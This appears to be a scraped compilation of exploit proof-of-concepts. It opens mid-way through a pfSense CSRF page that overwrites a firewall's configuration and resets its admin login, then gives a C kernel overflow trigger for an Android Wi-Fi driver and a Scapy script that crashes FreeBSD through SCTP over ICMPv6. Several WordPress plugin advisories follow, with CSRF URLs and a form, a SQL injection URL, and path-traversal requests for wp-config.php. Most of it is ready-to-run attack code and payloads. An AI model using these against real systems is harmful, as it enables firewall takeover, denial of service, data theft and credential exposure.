          "\t\t\x3cprv\x3eLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2d0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktrd2dnU2xBZ0VBQW9JQkFRRG53dmJ2QVRiRDNpUTMKbU02NzlQUlFacnF2UVZGbWJkOEsrQkMwaUkrOVE4TEVmTjBLMnVOTUdJWmo3SDVJckdsa01NR2kySHl0M2NwWgpHNTBlUGpPbG1Bb24yM0svWnBTeElLdVBDd0d5cWlRT3kyeGxGTzhVTTRzNTNDVW5qU3BhSDVYY2ZuNXYxd25jCjVIdGE5OGJ6VEFWRStmc0hYVjdUQWhRdzBrZHlhU0tXMmlRaFFsRkNhUkVqbm43Q0FFYVJnaWt6WUgzcyt3cFUKaFp4RzQ4bkZDbE53akZWcWpxUWRQVUFMNlZKMnI0dk5DS1FqWUFVVHVSTnpIa1Q2alorMVVWV3NldnFoZHE5WApjUDZGOTJtRm0xVklGaFpvV3VucDVRR2x1ZXdGTzJ5UDVGbTRwTjljYmNqWTh4cFgwL2JvRzlRMnBUR2E4R1d5CmxnVGdpSkI3QWdNQkFBRUNnZ0VCQUs2ZjlEYzVqdTRlSHVQVk8wL2J6WW9YSFdxWHFLR28vM25nVjVYdm4zNVgKNUJUd2tBeHh5UG01TU9seGMrV0dJeExldWNmZG5uUFN2WGhPbWlBRGRoNjdaRXVMeWZYMWNPdlZWZTY5dUZYSwpaTWpROWFka0VwQUNGbEZPVXFCdWVRN1c1YS94ajRydFYvMGNHdVg3OCtlMXkvS2crRWdnVGlablZwZENtWnJWCnRhTXhkcmRIemR0NjlGaU1MWU1kaE9iMUN0azEvRFp4dzhETDB6RXBseWpQNEE5MDA2VWJtT2Y3WXlRQUpkeEcKVGlwNzY5RkdML2x6MU1SVmNmb2drUVRzU0w5OHpuSUNqTXRXeWozL2FrYkxtRCtGeHRaU2UzNHl4c2xoc0I5bApocFJ0alBIUWQ5cmtYYWR4WW51SzJ0U0pxQTgxREhYNFhyQWVmb0RrbjhFQ2dZRUE5MFlIaTJtR2dTRm5mdVFGCnpzRkNXU0ZZbWhrSnZLbVFKQ3NXWW5NN2JoNVdPVnBaM2d3RXh1MFNpdE5aWDBVaWRkR1U5NUhCdUtDWnNvRHEKQnlwQTRuUXdUdkVtWGdpNEh4cGd4bUJDSGkvRGt6eDhpVkkwd3BKNXJzWjBpNXlIcHZtYVVRT0t4WG9FOVpnUApXR1FVSDNUTXViOElsN2RWS2JISjN3T2tJUk1DZ1lFQTcvRExLYXFkWFc5OTlCd00zZlhHNkJYaUxDSXhwaGh3Cm9jSHF0ekxMcS9Ra0dVSzhaTWRlWTNhYi85dHFMWkVBMlVLQjJLdW5ZQUcyVUJZQmNiaVFNNTFCNHREemgvZ20KbTUwSmVMZjZ1SWFRdlAxeVV6QWE1NXpiTEx4WTRlZ2s1MFpZeXErWmF5TEd3dm5PeUVyN3pSWEM0REQrK3RjZQpTaW4rKzFXTHAva0NnWUVBaHFRT0ZaNDNDL2NKYUxGMmJCY1ZMbjBXeG9tZG9LbmZmNklxaFI3am5GbE9iOW8vCmxzV0trRnFrUHcxSDI3VkVSMDBBUlRHTGZ5R0xyd084Nm52YWFyUURYZWkzRUhyRTdzS3BNVHRXcFNNeTVlZ0kKazZrOGF6bmdvZ2NUakxXRnM2aXpteXRIazdHV0k3aFJtcnFicm1rbDFIb3RqcGJYKzJVQVc3dWEwaHNDZ1lCLwpsSHFDUWkwQWhJcmxaSkRXNkp1RnhqVUhvSHJqeFRVR1haVFBLbHd2cDFZV2RHeTE3V2hiM0xKZ0hpdmI1TEVkCjFJWTBUamxtRENNRGZGL3lOdCsrQWcwSmJHOUJTZ3BGVGYrK1I1MHh4cU5wU2g0aTYzNHl6eTJmSU5ybDY4akwKakpVajJMRHJ6WWNBSDFIN0lCdTVWYXZVQjFsY3lVdGF4ZS9GZGh3WENRS0JnUURDMlJvN0ZETFNqYlI1RDYyVgoxSkgzVFV1Z2ZiRmliQllRazYrMit6eHVjeTN4V3B1UnBWYVRqSGJvS3N6S2NTS09UK251cWJ4YS9Fbmh0VFZlClc1WnJGMlM3VkpPcERZVEwyZkR0VmJZZ0xJUmp5d0JKM3lUTmFoWmxUZ0FVKzM1MGgvV0NEcnVHMXVqZnJOVzAKZ3pFeU9nRSt3UWNMSi8rNmNHZjk1Mmg4b2c9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCg==\x3c/prv\x3e\n" + 
          "\t\x3c/cert\x3e\n" + 
          "\t\x3cppps/\x3e\n" + 
          "\x3c/pfsense\x3e\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"decrypt_password\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"decrypt_passconf\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"Submit\"\r\n" + 
          "\r\n" + 
          "Restore configuration\r\n" + 
          "-----------------------------8271879791886716022292650152--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

<!--

--End of POC--
Firewall will restart and the Firewall config changes will take place as specified by us in our POC.
Note: Username and Password after POC is run are: admin and pfsense respectively.

3. Impact

On diag_backup.php, the firewall configuration could be altered or replaced if the administrator could be tricked into loading a specially crafted page while
also logged into the firewall with the same browser session.

4. Solution:
   
Update to version 2.2.6
https://www.pfsense.org/download/

-->
HireHackking 
/*
 * Coder: Shawn the R0ck, [citypw@gmail.com]
 * Co-worker: Pray3r, [pray3r.z@gmail.com]
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER     5

struct PacketFilterParamsCfg {
	v_U8_t protocolLayer;
	v_U8_t cmpFlag;
	v_U8_t dataOffset;
	v_U8_t dataLength;
	v_U8_t compareData[8];
	v_U8_t dataMask[8];
};

typedef struct {
	v_U8_t filterAction;
	v_U8_t filterId;
	v_U8_t numParams;
	struct PacketFilterParamsCfg
	    paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "Bad usage\n");
		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
		return -1;
	}

	struct iwreq req;
	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
	int fd, status, i = 0;
	fd = socket(AF_INET, SOCK_DGRAM, 0);
	tPacketFilterCfg p_req;

	/* crafting a data structure to triggering the code path */
	req.u.data.pointer =
	    malloc(sizeof(v_U8_t) * 3 +
		   sizeof(struct PacketFilterParamsCfg) * 5);
	p_req.filterAction = 1;
	p_req.filterId = 0;
	p_req.numParams = 3;
	for (; i < 5; i++) {
		p_req.paramsData[i].dataLength = 241;
		memset(&p_req.paramsData[i].compareData, 0x41, 16);
	}

	memcpy(req.u.data.pointer, &p_req,
	       sizeof(v_U8_t) * 3 +
	       sizeof(struct PacketFilterParamsCfg) * 5);

	if (ioctl(fd, 0x8bf7, &req) == -1) {
		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
			argv[1], strerror(errno));
	} else {
		printf("You shouldn't see this msg...\n");
	}

}
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Source: http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html

SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks.

This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack.

Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6.

This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated.

When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic.

There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet.
'''
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)
HireHackking 
source: https://www.securityfocus.com/bid/69745/info

W3 Total Cache plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

W3 Total Cache 0.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge
HireHackking 
source: https://www.securityfocus.com/bid/69744/info

Xhanch My Twitter plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Xhanch My Twitter 2.7.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/?xmt_Primary_twt_id=508351521810300928
HireHackking 
source: https://www.securityfocus.com/bid/69740/info

The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected. 

<html><body>
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>
HireHackking 
source: https://www.securityfocus.com/bid/69675/info

Spider Facebook plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spider Facebook 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2
HireHackking 
source: https://www.securityfocus.com/bid/69673/info

Antioch theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
HireHackking 
source: https://www.securityfocus.com/bid/69672/info

Epic theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php